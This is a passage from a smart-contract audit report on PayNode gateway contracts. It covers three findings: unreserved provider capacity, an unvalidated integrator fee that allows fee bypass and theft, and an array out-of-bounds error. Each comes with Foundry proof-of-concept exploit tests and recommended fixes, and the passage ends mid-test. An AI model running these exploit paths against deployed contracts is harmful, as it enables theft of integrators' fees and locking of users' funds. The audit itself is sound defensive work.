function requestRefund(bytes32 _orderId) external validOrder(_orderId) {
    // ...
    // Only allow refund if order is PENDING (no active proposals)
    if (order.status != PGatewayStructs.OrderStatus.PENDING) revert
InvalidOrder();
    if (block.timestamp <= order.expiresAt) revert OrderNotExpired();
    // ...
}
```

M-1: Missing Capacity Reservation in createProposal Enables Race Condition

Summary

The `createProposal()` function in `PGateway.sol` checks if a provider has sufficient capacity but does not actually reserve (decrement) that capacity. This allows unlimited proposals to be created against the same provider capacity, enabling massive over-commitment where a provider with 10,000 capacity can have proposals totaling 50,000+ created against them.

Vulnerability Details

The `createProposal()` function validates that a provider has sufficient `availableAmount` to handle an order:

```
function createProposal(bytes32 _orderId, address _provider, uint64
_proposedFeeBps)
    external
    onlyAggregator
    validOrder(_orderId)
    returns (bytes32 proposalId)
{
    // ... validation code ...

    PGatewayStructs.ProviderIntent memory intent =
providerIntents[_provider];
    if (!intent.isActive) revert InvalidIntent();
    if (intent.availableAmount < order.amount) revert InvalidAmount();  //
@audit Checks capacity
    if (_proposedFeeBps < intent.minFeeBps || _proposedFeeBps >
intent.maxFeeBps) revert InvalidFee();
```

```
    proposalId = keccak256(abi.encode(_orderId, _provider,
block.timestamp, block.number));
    uint256 deadline = block.timestamp + settings.proposalTimeout();

    proposals[proposalId] = PGatewayStructs.SettlementProposal({
        proposalId: proposalId,
        orderId: _orderId,
        provider: _provider,
        proposedAmount: order.amount,
        proposedFeeBps: _proposedFeeBps,
        proposedAt: block.timestamp,
        proposalDeadline: deadline,
        status: PGatewayStructs.ProposalStatus.PENDING
    });

    // @audit Capacity is never reserved here
    // Should have: providerIntents[_provider].availableAmount -=
order.amount;

    order.status = PGatewayStructs.OrderStatus.PROPOSED;
    emit SettlementProposalCreated(proposalId, _orderId, _provider,
order.amount, _proposedFeeBps, deadline);
    return proposalId;
}
```

A separate `reserveIntent()` function exists that properly decrements capacity:

```
function reserveIntent(address _provider, uint256 _amount) external
onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];
    if (!intent.isActive) revert InvalidIntent();
    if (intent.availableAmount < _amount) revert InvalidAmount();

    intent.availableAmount -= _amount;  // Capacity properly decremented
}
```

However, `createProposal()` never calls `reserveIntent()`, and there is no enforcement that capacity reservation happens atomically with proposal creation.

Impact

1. Race Condition: Multiple proposals can be created simultaneously against the same provider capacity
2. 5x+ Over-commitment: A provider with 10,000 capacity can have proposals for 50,000+ created against them
3. All Over-committed Proposals Accepted: Provider can accept all proposals despite insufficient capacity

4. Settlement Failures: Only one proposal can actually settle; others fail silently
5. User Funds Locked: Users whose proposals were accepted but cannot settle must wait for order expiry to get refunds
6. Broken Capacity Tracking: `availableAmount` never reflects actual commitments

Attack Scenario:

```
1. Provider registers with 10,000 USDC capacity
2. 5 users each create orders for 10,000 USDC
3. Aggregator creates proposals for ALL 5 orders to the same provider
4. All 5 proposals pass capacity check (capacity never decremented)
5. Provider accepts all 5 proposals
6. Only 1 settlement executes successfully
7. 4 users have funds locked until order expiry, then must claim refunds
8. Provider capacity still shows 10,000 (completely broken tracking)
```

Proof of Concept

Place the following test in `test/POC_C06_MissingCapacityReservation.t.sol`

Run with:

```
forge test --match-contract POC_C06_MissingCapacityReservation -vvv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "./mocks/MockERC20.sol";
import "./mocks/MockAccessManager.sol";
import "./utils/TestConstants.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract POC_C06_MissingCapacityReservation is Test, TestConstants {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockERC20 public testToken;

    address public owner = address(0x1);
    address public treasury = address(0x2);
    address public aggregator = address(0x3);
    address public integrator = address(0x4);

    address public user1 = address(0x10);
    address public user2 = address(0x11);
    address public user3 = address(0x12);
    address public user4 = address(0x13);
    address public user5 = address(0x14);

    address public provider = address(0x20);

    uint256 public constant PROVIDER_CAP = 10_000 ether;
    uint256 public constant ORDER_AMT = 10_000 ether;

    function setUp() public {
        vm.deal(owner, 100 ether);
        vm.deal(provider, 100 ether);

        accessManager = new MockAccessManager(owner);
        testToken = new MockERC20("Test Token", "TEST");

        PGatewayStructs.InitiateGatewaySettingsParams memory
settingsParams = PGatewayStructs.InitiateGatewaySettingsParams({
            initialOwner: owner,
            treasury: treasury,
            aggregator: aggregator,
            integrator: integrator,
            protocolFee: PROTOCOL_FEE,
            integratorFee: INTEGRATOR_FEE,
            orderExpiryWindow: ORDER_EXPIRY,
            proposalTimeout: PROPOSAL_TIMEOUT,
            intentExpiry: INTENT_EXPIRY,
            alphaLimit: ALPHA_LIMIT,
            betaLimit: BETA_LIMIT,
            deltaLimit: DELTA_LIMIT,
            omegaLimit: OMEGA_LIMIT,
            titanLimit: TITAN_LIMIT
        });

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            settingsParams
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        vm.startPrank(owner);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);
        settings.setSupportedToken(address(testToken), true);
        vm.stopPrank();

        testToken.mint(user1, ORDER_AMT);
        testToken.mint(user2, ORDER_AMT);
        testToken.mint(user3, ORDER_AMT);
        testToken.mint(user4, ORDER_AMT);
        testToken.mint(user5, ORDER_AMT);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE, "TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent(TEST_CURRENCY, PROVIDER_CAP, 100, 500, 60);
    }

    function test_5xOverCommitment_CapacityNeverReserved() public {
        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);
        assertEq(intentBefore.availableAmount, PROVIDER_CAP);

        bytes32 orderId1 = _createOrder(user1, "order1");
        bytes32 orderId2 = _createOrder(user2, "order2");
        bytes32 orderId3 = _createOrder(user3, "order3");
        bytes32 orderId4 = _createOrder(user4, "order4");
        bytes32 orderId5 = _createOrder(user5, "order5");

        vm.startPrank(aggregator);
        gateway.createProposal(orderId1, provider, 200);

        PGatewayStructs.ProviderIntent memory intentAfter1 =
gateway.getProviderIntent(provider);
        assertEq(intentAfter1.availableAmount, PROVIDER_CAP);

        gateway.createProposal(orderId2, provider, 200);
        gateway.createProposal(orderId3, provider, 200);
        gateway.createProposal(orderId4, provider, 200);
        gateway.createProposal(orderId5, provider, 200);
        vm.stopPrank();

        PGatewayStructs.ProviderIntent memory intentFinal =
gateway.getProviderIntent(provider);
        assertEq(intentFinal.availableAmount, PROVIDER_CAP);
    }

    function test_AllOverCommittedProposalsCanBeAccepted() public {
        bytes32 orderId1 = _createOrder(user1, "order1");
        bytes32 orderId2 = _createOrder(user2, "order2");
        bytes32 orderId3 = _createOrder(user3, "order3");

        vm.startPrank(aggregator);
        bytes32 proposalId1 = gateway.createProposal(orderId1, provider,
200);
        bytes32 proposalId2 = gateway.createProposal(orderId2, provider,
200);
        bytes32 proposalId3 = gateway.createProposal(orderId3, provider,
200);
        vm.stopPrank();

        vm.prank(provider);
        gateway.acceptProposal(proposalId1);
        vm.prank(provider);
        gateway.acceptProposal(proposalId2);
        vm.prank(provider);
        gateway.acceptProposal(proposalId3);

        PGatewayStructs.SettlementProposal memory prop1 =
gateway.getProposal(proposalId1);
        PGatewayStructs.SettlementProposal memory prop2 =
gateway.getProposal(proposalId2);
        PGatewayStructs.SettlementProposal memory prop3 =
gateway.getProposal(proposalId3);

        assertEq(uint(prop1.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(uint(prop2.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(uint(prop3.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));

        PGatewayStructs.ProviderIntent memory intentFinal =
gateway.getProviderIntent(provider);
        assertEq(intentFinal.availableAmount, PROVIDER_CAP);
    }

    function test_MaxImpact_OnlyOneSettlesOthersRefunded() public {
        bytes32 orderId1 = _createOrder(user1, "order1");
        bytes32 orderId2 = _createOrder(user2, "order2");
        bytes32 orderId3 = _createOrder(user3, "order3");

        assertEq(testToken.balanceOf(user2), 0);
        assertEq(testToken.balanceOf(user3), 0);

        vm.startPrank(aggregator);
        bytes32 proposalId1 = gateway.createProposal(orderId1, provider,
200);
        bytes32 proposalId2 = gateway.createProposal(orderId2, provider,
200);
        bytes32 proposalId3 = gateway.createProposal(orderId3, provider,
200);
        vm.stopPrank();
        vm.prank(provider);
        gateway.acceptProposal(proposalId1);
        vm.prank(provider);
        gateway.acceptProposal(proposalId2);
        vm.prank(provider);
        gateway.acceptProposal(proposalId3);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId1);

        PGatewayStructs.Order memory order1 = gateway.getOrder(orderId1);
        assertEq(uint(order1.status),
uint(PGatewayStructs.OrderStatus.FULFILLED));

        PGatewayStructs.SettlementProposal memory prop2 =
gateway.getProposal(proposalId2);
        PGatewayStructs.SettlementProposal memory prop3 =
gateway.getProposal(proposalId3);
        assertEq(uint(prop2.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(uint(prop3.status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));

        vm.warp(block.timestamp + ORDER_EXPIRY + 1);

        vm.startPrank(aggregator);
        gateway.refundOrder(orderId2);
        gateway.refundOrder(orderId3);
        vm.stopPrank();

        assertEq(testToken.balanceOf(user2), ORDER_AMT);
        assertEq(testToken.balanceOf(user3), ORDER_AMT);

        PGatewayStructs.Order memory order2 = gateway.getOrder(orderId2);
        PGatewayStructs.Order memory order3 = gateway.getOrder(orderId3);
        assertEq(uint(order2.status),
uint(PGatewayStructs.OrderStatus.REFUNDED));
        assertEq(uint(order3.status),
uint(PGatewayStructs.OrderStatus.REFUNDED));
    }

    function test_RootCause_ReserveIntentNeverCalledByCreateProposal()
public {
        bytes32 orderId = _createOrder(user1, "order1");

        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);

        vm.prank(aggregator);
        gateway.createProposal(orderId, provider, 200);

        PGatewayStructs.ProviderIntent memory intentAfterProposal =
gateway.getProviderIntent(provider);
```

```
        assertEq(intentAfterProposal.availableAmount,
intentBefore.availableAmount);

        vm.prank(aggregator);
        gateway.reserveIntent(provider, ORDER_AMT);

        PGatewayStructs.ProviderIntent memory intentAfterManualReserve =
gateway.getProviderIntent(provider);
        assertEq(intentAfterManualReserve.availableAmount,
intentBefore.availableAmount - ORDER_AMT);
    }

    function _createOrder(address user, string memory salt) internal
returns (bytes32) {
        vm.startPrank(user);
        testToken.approve(address(gateway), ORDER_AMT);
        bytes32 orderId = gateway.createOrder(
            address(testToken),
            ORDER_AMT,
            user,
            integrator,
            INTEGRATOR_FEE,
            keccak256(abi.encodePacked(salt))
        );
        vm.stopPrank();
        return orderId;
    }
}
```

Recommendation

Reserve capacity atomically within `createProposal()`:

```
function createProposal(bytes32 _orderId, address _provider, uint64
_proposedFeeBps)
    external
    onlyAggregator
    validOrder(_orderId)
    returns (bytes32 proposalId)
{
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.Order storage order = orders[_orderId];
    if (order.status != PGatewayStructs.OrderStatus.PENDING &&
order.status != PGatewayStructs.OrderStatus.PROPOSED) revert
InvalidOrder();
    if (block.timestamp >= order.expiresAt) revert OrderExpired();

-   PGatewayStructs.ProviderIntent memory intent =
providerIntents[_provider];
+   PGatewayStructs.ProviderIntent storage intent =
providerIntents[_provider];
    if (!intent.isActive) revert InvalidIntent();
    if (intent.availableAmount < order.amount) revert InvalidAmount();
    if (_proposedFeeBps < intent.minFeeBps || _proposedFeeBps >
intent.maxFeeBps) revert InvalidFee();

+   // Reserve capacity atomically
+   intent.availableAmount -= order.amount;

    proposalId = keccak256(abi.encode(_orderId, _provider,
block.timestamp, block.number));
    uint256 deadline = block.timestamp + settings.proposalTimeout();

    proposals[proposalId] = PGatewayStructs.SettlementProposal({
        proposalId: proposalId,
        orderId: _orderId,
        provider: _provider,
        proposedAmount: order.amount,
        proposedFeeBps: _proposedFeeBps,
        proposedAt: block.timestamp,
        proposalDeadline: deadline,
        status: PGatewayStructs.ProposalStatus.PENDING
    });

    order.status = PGatewayStructs.OrderStatus.PROPOSED;
    emit SettlementProposalCreated(proposalId, _orderId, _provider,
order.amount, _proposedFeeBps, deadline);
    return proposalId;
}
```

Additionally, ensure capacity is released in `rejectProposal()` and `timeoutProposal()`:

```
function rejectProposal(bytes32 _proposalId, string calldata _reason)
external onlyProvider {
    // ... existing code ...
    proposal.status = PGatewayStructs.ProposalStatus.REJECTED;
+   providerIntents[msg.sender].availableAmount +=
proposals[_proposalId].proposedAmount;
    providerReputation[msg.sender].noShowCount++;
    emit SettlementProposalRejected(_proposalId, msg.sender, _reason);
}

function timeoutProposal(bytes32 _proposalId) external onlyAggregator {
    // ... existing code ...
    proposal.status = PGatewayStructs.ProposalStatus.TIMEOUT;
+   providerIntents[proposal.provider].availableAmount +=
proposal.proposedAmount;
    emit SettlementProposalTimeout(_proposalId, proposal.provider);
}
```

M-2: No Integrator Validation in createOrder Allows Fee Bypass and Theft

Summary

The `createOrder` function in `PGateway.sol` accepts `_integrator` and `_integratorFee` as user-controlled parameters without validating that the integrator is registered or that the fee matches the integrator's registered fee. This allows users to bypass integrator fees entirely, redirect fees to arbitrary addresses, or specify unregistered addresses as integrators.

Vulnerability Detail

In `PGateway.sol` lines 580-626, the `createOrder` function accepts integrator parameters directly from the caller:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,      // User-controlled, not validated
    uint64 _integratorFee,    // User-controlled, not validated
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
    if (_amount == 0) revert InvalidAmount();
    if (_refundAddress == address(0)) revert InvalidAddress();
    if (_integrator == address(0)) revert InvalidAddress();
    // ... no validation that _integrator is registered
    // ... no validation that _integratorFee matches
integratorRegistry[_integrator].feeBps

    orders[orderId] = PGatewayStructs.Order({
        // ...
        integrator: _integrator,           // Stored directly from user
input
        integratorFee: _integratorFee,     // Stored directly from user
input
        // ...
    });
}
```

The protocol has an integrator registry system (`registerAsIntegrator`, `integratorRegistry` mapping) that allows integrators to register with specific fee rates. However, this registry is completely bypassed because `createOrder` never validates against it.

During settlement in `executeSettlement()`, the unvalidated values are used to calculate and transfer fees:

```
uint256 integratorFee = (proposal.proposedAmount * order.integratorFee) /
settings.MAX_BPS();
// ...
IERC20(order.token).safeTransfer(order.integrator, integratorFee);
```

Impact

1. Fee Bypass: Users can set `_integratorFee = 0` to avoid paying any integrator fees, causing direct financial loss to integrators
2. Fee Theft: Users can specify their own address as `_integrator` and receive fees meant for legitimate integrators
3. Registry Bypass: Unregistered addresses can be set as integrators, making the entire `registerAsIntegrator()` system pointless
4. Broken Business Model: Integrators who build on PayNode cannot reliably collect fees, destroying the integrator partnership model
5. Protocol Reputation Damage: Partners will lose trust in the protocol when they discover fees are not enforced

Financial Impact Calculation:

- At 0.5% integrator fee and $1M daily volume: $5,000/day lost
- Annual impact: ~$1.8M in bypassed integrator fees

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L580-L626

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
      if (_amount == 0) revert InvalidAmount();
    if (_refundAddress == address(0)) revert InvalidAddress();
    if (_integrator == address(0)) revert InvalidAddress();
    if (bytes32(_messageHash).length == 0) revert InvalidMessageHash();
    if (!accessManager.executeNonReentrant(msg.sender, bytes32(0))) revert
Unauthorized();

    // @audit No validation that _integrator is registered in
integratorRegistry
    // @audit No validation that _integratorFee matches
integratorRegistry[_integrator].feeBps

    // ... token transfer and order creation

    orders[orderId] = PGatewayStructs.Order({
        orderId: orderId,
        user: msg.sender,
        token: _token,
        amount: _amount,
        tier: tier,
        status: PGatewayStructs.OrderStatus.PENDING,
        refundAddress: _refundAddress,
        createdAt: block.timestamp,
        expiresAt: block.timestamp + settings.orderExpiryWindow(),
        acceptedProposalId: bytes32(0),
        fulfilledByProvider: address(0),
        integrator: _integrator,        // @audit User-controlled value
stored directly
        integratorFee: _integratorFee,  // @audit User-controlled value
stored directly
        _messageHash: bytes32(0)
    });
    // ...
}
```

Proof of Concept

Save this POC in `test/POC_H04_IntegratorValidationBypass.t.sol`

Run the POC:

```
forge test --match-contract POC_H04_IntegratorValidationBypass -vvv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_H04_IntegratorValidationBypass is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public aggregator;
    address public provider;
    address public treasury;
    address public legitimateIntegrator;
    address public attacker;
    uint64 constant INTEGRATOR_FEE_BPS = 500;
    uint256 constant ORDER_AMOUNT = 100_000e6;

    function setUp() public {
        admin = makeAddr("admin");
        aggregator = makeAddr("aggregator");
        provider = makeAddr("provider");
        treasury = makeAddr("treasury");
        legitimateIntegrator = makeAddr("legitimateIntegrator");
        attacker = makeAddr("attacker");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: 100,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: admin,
                integratorFee: 50,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(attacker, 10_000_000e6);

        vm.prank(legitimateIntegrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS, "Legitimate
dApp");

        vm.prank(provider);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);
    }

    function _executeFullSettlement(bytes32 orderId) internal returns
(bytes32 proposalId) {
        vm.prank(aggregator);
        proposalId = gateway.createProposal(orderId, provider, 100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);
    }

    function test_POC_H04_FeeBypass_ZeroIntegratorFee() public {
        uint256 integratorBalanceBefore =
usdc.balanceOf(legitimateIntegrator);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            attacker,
            legitimateIntegrator,
            0,
            keccak256("fee_bypass")
        );
        vm.stopPrank();

        _executeFullSettlement(orderId);

        uint256 integratorBalanceAfter =
usdc.balanceOf(legitimateIntegrator);
        uint256 expectedFee = (ORDER_AMOUNT * INTEGRATOR_FEE_BPS) /
100_000;

        assertEq(integratorBalanceAfter - integratorBalanceBefore, 0);
        assertEq(expectedFee, 500e6);
    }

    function test_POC_H04_FeeTheft_WrongIntegratorAddress() public {
        uint256 legitimateBalanceBefore =
usdc.balanceOf(legitimateIntegrator);
```

```
        uint256 attackerBalanceBefore = usdc.balanceOf(attacker);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            attacker,
            attacker,
            INTEGRATOR_FEE_BPS,
            keccak256("fee_theft")
        );
        vm.stopPrank();

        _executeFullSettlement(orderId);

        uint256 legitimateBalanceAfter =
usdc.balanceOf(legitimateIntegrator);
        uint256 attackerBalanceAfter = usdc.balanceOf(attacker);
        uint256 attackerNetGain = attackerBalanceAfter + ORDER_AMOUNT -
attackerBalanceBefore;

        assertEq(legitimateBalanceAfter - legitimateBalanceBefore, 0);
        assertEq(attackerNetGain, 500e6);
    }

    function test_POC_H04_RegistryBypass_UnregisteredIntegrator() public {
        address unregisteredAddr = makeAddr("unregistered");

        PGatewayStructs.IntegratorInfo memory info =
gateway.getIntegratorInfo(unregisteredAddr);
        assertFalse(info.isRegistered);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            attacker,
            unregisteredAddr,
            9999,
            keccak256("registry_bypass")
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);

        assertEq(order.integrator, unregisteredAddr);
        assertEq(order.integratorFee, 9999);
    }

    function test_POC_H04_MaxImpact_ProtocolWideFeeBypass() public {
        uint256 numOrders = 10;
        uint256 orderSize = 100_000e6;
        uint256 totalVolume = numOrders * orderSize;

        usdc.mint(attacker, totalVolume);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), totalVolume);

        uint256 legitimateBalanceBefore =
usdc.balanceOf(legitimateIntegrator);

        for (uint256 i = 0; i < numOrders; i++) {
            bytes32 orderId = gateway.createOrder(
                address(usdc),
                orderSize,
                attacker,
                attacker,
                0,
                keccak256(abi.encodePacked("max_impact_", i))
            );
            vm.stopPrank();

            _executeFullSettlement(orderId);

            vm.startPrank(attacker);
        }
        vm.stopPrank();

        uint256 legitimateBalanceAfter =
usdc.balanceOf(legitimateIntegrator);
        uint256 expectedTotalFees = (totalVolume * INTEGRATOR_FEE_BPS) /
100_000;

        assertEq(legitimateBalanceAfter - legitimateBalanceBefore, 0);
        assertEq(expectedTotalFees, 5000e6);
    }
}
```

Recommendation

Validate that the integrator is registered and use their registered fee rate instead of accepting user input:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
-   uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
```

```diff
     if (_amount == 0) revert InvalidAmount();
     if (_refundAddress == address(0)) revert InvalidAddress();
     if (_integrator == address(0)) revert InvalidAddress();

+    // Validate integrator is registered
+    if (!integratorRegistry[_integrator].isRegistered) {
+        revert IntegratorNotRegistered();
+    }
+
+    // Use the integrator's registered fee (not user-provided)
+    uint64 integratorFee = integratorRegistry[_integrator].feeBps;

     // ... rest of validation

     orders[orderId] = PGatewayStructs.Order({
         // ...
         integrator: _integrator,
-        integratorFee: _integratorFee,
+        integratorFee: integratorFee,  // Use registered fee
         // ...
     });

+    // Update integrator statistics
+    integratorRegistry[_integrator].totalOrders++;
+    integratorRegistry[_integrator].totalVolume += _amount;
 }
```

L-1: Array Out of Bounds in getAccountRoles Causes Complete Function DOS

Summary

The `getAccountRoles()` function in `PayNodeAccessManager.sol` creates a fixed-size array of 4 elements but attempts to assign 6 role types to it. This causes an array out-of-bounds panic (0x32) on every call, completely breaking role enumeration functionality for all users.

Vulnerability Detail

The `getAccountRoles()` function allocates an array with only 4 slots but attempts to store 6 roles:

```
function getAccountRoles(address account) external view returns (bytes32[]
memory roles) {
    bytes32[] memory allRoles = new bytes32[](4);  // Only 4 slots
allocated
    allRoles[0] = DEFAULT_ADMIN_ROLE;
    allRoles[1] = ADMIN_ROLE;
    allRoles[2] = OPERATOR_ROLE;
    allRoles[3] = PLATFORM_SERVICE_ROLE;
    allRoles[4] = AGGREGATOR_ROLE;      // OUT OF BOUNDS - index 4
    allRoles[5] = FEE_MANAGER_ROLE;      // OUT OF BOUNDS - index 5
    // ...
}
```

The array is allocated with `new bytes32[](4)`, which creates indices 0-3. However, the code attempts to write to indices 4 and 5, which do not exist. This causes an immediate Solidity panic with error code 0x32 (array out-of-bounds access).

The function never reaches the role-checking logic because the panic occurs during array initialization, meaning:

- The bug triggers regardless of what address is queried
- The bug triggers regardless of whether the address has any roles
- The bug is permanent and cannot be bypassed

Impact

1. Admin Dashboards Broken: Any frontend or admin panel that displays user permissions will fail
2. Access Control Verification Broken: Smart contracts or services that verify roles via this function will revert
3. Role-Based UI Rendering Broken: Applications cannot determine what UI elements to show users
4. Automated Monitoring Broken: Security monitoring tools cannot audit role assignments
5. Integration Failures: Any third-party integration relying on role enumeration is non-functional

This is particularly severe because:

- The function is marked `external view`, suggesting it's intended for off-chain consumption
- It's the only function that provides role enumeration for an account
- The `hasRole()` function still works, but there's no way to discover which roles to check

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/access/PAccessManager.sol#L394-L420

```
// src/access/PAccessManager.sol:394-420
function getAccountRoles(address account) external view returns (bytes32[]
memory roles) {
    // Define all roles to check.
    bytes32[] memory allRoles = new bytes32[](4);
    allRoles[0] = DEFAULT_ADMIN_ROLE; // Included DEFAULT_ADMIN_ROLE for
completeness.
    allRoles[1] = ADMIN_ROLE;
    allRoles[2] = OPERATOR_ROLE;
    allRoles[3] = PLATFORM_SERVICE_ROLE;
    allRoles[4] = AGGREGATOR_ROLE;
    allRoles[5] = FEE_MANAGER_ROLE;

    uint256 count = 0;
    // Count how many roles the account has.
    for (uint256 i = 0; i < allRoles.length; i++) {
        if (hasRole(allRoles[i], account)) count++;
    }

    // Create a new array with the exact size needed.
    roles = new bytes32[](count);
    uint256 index = 0;
    // Populate the array with the roles the account holds.
    for (uint256 i = 0; i < allRoles.length; i++) {
        if (hasRole(allRoles[i], account)) {
            roles[index] = allRoles[i];
            index++;
        }
    }
    return roles;
}
```

Proof of Concept

Place the following test in `test/POC_C03_ArrayOutOfBoundsDOS.t.sol`

Run with:

```
forge test --match-contract POC_C03_ArrayOutOfBoundsDOS -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/access/PAccessManager.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract MockAdminDashboard {
    PayNodeAccessManager public accessManager;

    constructor(address _accessManager) {
        accessManager = PayNodeAccessManager(_accessManager);
    }

    function getUserPermissions(address user) external view returns
(bytes32[] memory) {
        return accessManager.getAccountRoles(user);
    }

    function displayMultipleUsers(address[] memory users) external view
returns (bytes32[][] memory) {
        bytes32[][] memory allRoles = new bytes32[][](users.length);
        for (uint256 i = 0; i < users.length; i++) {
            allRoles[i] = accessManager.getAccountRoles(users[i]);
        }
        return allRoles;
    }
}

contract MockAccessControlVerifier {
    PayNodeAccessManager public accessManager;

    constructor(address _accessManager) {
        accessManager = PayNodeAccessManager(_accessManager);
    }

    function verifyUserAccess(address user) external view returns (bool) {
        bytes32[] memory roles = accessManager.getAccountRoles(user);
        return roles.length > 0;
    }
}

contract POC_C03_ArrayOutOfBoundsDOS is Test {
    PayNodeAccessManager public accessManager;
    PayNodeAccessManager public implementation;

    address public superAdmin;
    address public pasarAdmin;
    address public operator;
    address public aggregator;
    address public feeManager;
    address public platformService;

    function setUp() public {
        superAdmin = makeAddr("superAdmin");
        pasarAdmin = makeAddr("pasarAdmin");
        operator = makeAddr("operator");
        aggregator = makeAddr("aggregator");
